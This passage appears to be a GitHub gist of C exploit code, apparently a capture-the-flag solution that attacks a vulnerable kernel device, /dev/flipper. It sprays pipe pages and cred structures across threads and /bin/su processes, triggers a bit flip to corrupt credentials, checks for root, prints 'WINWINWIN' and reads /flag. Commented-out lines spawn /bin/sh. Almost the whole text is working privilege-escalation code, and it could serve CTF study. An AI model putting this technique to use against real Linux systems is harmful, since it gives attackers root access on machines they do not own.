pthread_create(&thread_pids[1], NULL, (void *)do_nothing, NULL); | |
puts("spawn 2 threads"); | |
pthread_mutex_lock(&t_mutex); | |
wf->set_refcont_done ++; | |
pthread_mutex_unlock(&t_mutex); | |
// wait until all creds are sprayed | |
while(wf->free_cred_done < 2*SPRAY_THREAD_NUM) { | |
usleep(1000); | |
} | |
if(my_id < 5) { | |
wf->free_useless_threads_done ++; | |
} | |
else { | |
sleep(5); | |
} | |
} | |
void wait_and_setcap() { | |
assign_thread_to_core(0); | |
set_cap(); | |
// setuid(0); | |
if (geteuid() == 0) { | |
printf("getuid() == 0\n"); | |
if (fork() == 0) { | |
setuid(0); | |
write(1, "WINWINWIN\n", 10); | |
int fd = open("/flag", O_RDONLY); | |
if (fd < 0) { | |
perror("open"); | |
exit(1); | |
} | |
char buf[0x100]; | |
read(fd, buf, 0x100); | |
write(1, buf, 0x100); | |
} | |
else { | |
while(1) { | |
sleep(1); | |
} | |
} | |
// setuid(0); | |
// system("/bin/sh"); | |
while(1) { | |
sleep(1); | |
} | |
} | |
} | |
void wait_and_su() { | |
while(wf->free_useless_threads_done <5) { | |
usleep(1000); | |
} | |
assign_thread_to_core(0); | |
printf("spraying su cred\n"); | |
system("/bin/su"); | |
// char *argv[] = {"/bin/su", NULL}; | |
// execve("/bin/su", argv, NULL); | |
while (1) | |
{ | |
sleep(1); | |
} | |
} | |
void do_exploit() { | |
// unshare_setup(getuid(), getgid()); | |
dev_fd = open("/dev/flipper", O_RDONLY); | |
if (dev_fd < 0) { | |
perror("open"); | |
exit(1); | |
} | |
pthread_t thread_pids[SPRAY_THREAD_NUM]; | |
for (int i = 0; i < SPRAY_THREAD_NUM; i++) { | |
pthread_create(&thread_pids[i], NULL, (void *)wait_and_setcap, NULL); | |
} | |
printf("pthread create done 1\n"); | |
#define SPRAY_SU_NUM 0x5 | |
pthread_t su_pids[SPRAY_SU_NUM]; | |
for (int i = 0; i < SPRAY_SU_NUM; i++) { | |
// if(fork() == 0) { | |
// wait_and_su(); | |
// } | |
pthread_create(&su_pids[i], NULL, (void *)wait_and_su, NULL); | |
} | |
printf("pthread create done 2\n"); | |
wf->pthread_create_done = 1; | |
assign_to_core(0); | |
spray_pipe(); | |
puts("add pipe pages"); | |
sleep(2); | |
assign_to_core(0); | |
for(int i = 0; i < PIPE_SPRAY_NUM; i++) { | |
write(pipefds[i][1], tmp_buf, 0x1000); | |
} | |
assign_to_core(0); | |
puts("close even pipes"); | |
for(int i = 1; i < PIPE_SPRAY_NUM; i+=2) { | |
close(pipefds[i][1]); | |
close(pipefds[i][0]); | |
} | |
wf->cross_fengshui_done = 1; | |
while(wf->spray_cred_done < SPRAY_THREAD_NUM) { | |
usleep(1000); | |
} | |
assign_to_core(0); | |
memset(tmp_buf, 0x41, 0x1000); | |
assign_to_core(0); | |
puts("close odd pipes"); | |
for(int i = 0; i < PIPE_SPRAY_NUM; i+=2) { | |
close(pipefds[i][1]); | |
close(pipefds[i][0]); | |
} | |
for(int i = 0; i < 15; i++) { | |
alloc_key(i, tmp_buf, 0x81); | |
} | |
assign_to_core(0); | |
flipper_alloc(); | |
assign_to_core(0); | |
for(int i = 15; i < 103; i++) { | |
alloc_key(i, tmp_buf, 0x81); | |
} | |
wf->alloc_vuln_done = 1; | |
while(wf->set_refcont_done < SPRAY_THREAD_NUM) { | |
usleep(1000); | |
} | |
puts("trigger vuln"); | |
flipper_flip((0x1000<<3)|1); | |
getchar(); | |
wf->overflow_done = 1; | |
getchar(); | |
} | |
int main() { | |
tmp_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
shm_id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0666); | |
if (shm_id < 0) { | |
perror("shmget"); | |
exit(1); | |
} | |
wf = (struct workflow *)shmat(shm_id, NULL, 0); | |
if (wf == (void *)-1) { | |
perror("shmat"); | |
exit(1); | |
} | |
do_exploit(); | |
// char *argv[] = {"/bin/su", NULL}; | |
// execve("/bin/su", NULL, NULL); | |
// system("/bin/su"); | |
} | |
// pid 48] execve("/bin/su", ["/bin/su"], 0x561797fd3668 /* 4 vars */) = 0 | |
// pipe_buffer page? |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment